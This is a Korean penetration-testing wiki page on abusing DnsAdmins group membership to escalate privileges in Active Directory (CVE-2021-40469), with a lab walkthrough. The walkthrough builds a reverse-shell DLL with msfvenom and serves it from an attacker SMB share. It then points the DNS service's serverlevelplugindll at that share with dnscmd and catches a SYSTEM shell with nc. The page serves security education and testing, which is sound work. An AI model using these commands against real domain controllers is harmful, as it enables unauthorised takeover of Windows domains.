펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory

DnsAdmins

PreviousServer OperatorsNextnoPac

Last updated 1 month ago

Was this helpful?

DnsAdmins 그룹은 Active Directory에서 존재하는 그룹이며 DNS에 관련된 많은 설정파일을 수정/삭제/생성 등을 할 수 있습니다. 만약 이 그룹에 소속된 계정 권한을 획득한다면 DNS 서비스의 DLL 경로를 악성코드 경로로 변경하여 권한상승을 할 수 있었지만 2017년 발견된 이후 4년 후인 2021년 Microsoft에서는 이것을 공식적으로 취약점으로 인정했으며 취약점 식별 번호는 CVE-2021-40469입니다. 현재는 DLL 경로를 수정할 수 있는 설정사항인 ServerLevelPlugin을 DnsAdmins 그룹의 권한에서 제거했습니다. 따라서 현재는 DnsAdmins 그룹의 구성원 계정을 장악했다고 하더라도 MS 보안패치가 적용되었다면 DLL 파일을 조작하지 못합니다.

이 권한상승 기법은 Server Operators와 굉장히 유사합니다. DnsAdmins 그룹의 구성원은 보안패치가 이루어지기 전까지는 ServerLevelPlugin 항목을 변경할 수 있었는데, 이 항목이 DNS 서비스에서 참조하는 동적 라이브러리 링크 경로였습니다. 따라서 공격자는 그룹 구성원의 계정을 장악했을 때 리버스쉘 혹은 커맨드 파일을 DNS 파일의 DLL로 조작하여 서비스를 재실행하여 권한상승을 이룰 수 있습니다.

Practice

*Evil-WinRM* PS C:\Users\wiki\Documents> net user wiki
User name                    wiki
Full Name                    wiki
...
Local Group Memberships      *DnsAdmins            *Remote Management Use
                             *Server Operators
Global Group memberships     *Domain Users         *Domain Admins
The command completed successfully.

wiki 사용자가 속한 그룹 중 DnsAdmins가 존재하는 것이 확인됩니다. 먼저 DNS 서비스가참조하는파dll 파일을 악성코드로 변조하기 위하여 msfvenom을 통해서 리버스 쉘을 생성합니다.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f dll -o rev.dll

리버스 쉘 dll 파일이 완성되었으면 경로에서 smb 서버를 실행합니다. 이제 Windows 로컬에서는 Kali 로컬의 SMB 서버에 접속이 가능하기 때문에 dnscmd 명령을 통해 serverlevelplugindll 속성값을 SMB 서버의 악성 dll 파일로 참조시킵니다.

┌──(root㉿kali)-[~/Pentest]
└─# impacket-smbserver share -smb2support .                                                        
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
dnscmd /config /serverlevelplugindll \\\\10.0.2.15\\share\\rev.dll

이제 DNS 서비스를 재실행 한다면 Kali의 smb 서버에 접속하여 rev.dll 리버스 쉘 파일을 다운로드 한 뒤 해당 라이브러리를 참조할 때 리버스 쉘이 실행되어 로컬에서 대기중이던 포트에 쉘이 연결됩니다.

┌──(root㉿kali)-[~/Pentest]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.10] 59702
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

References

Micropatch For Remote Code Execution by DNS Administrators (CVE-2021-40469)
Logo
Abusing DNSAdmins privilege for escalation in Active Directory
Logo
https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html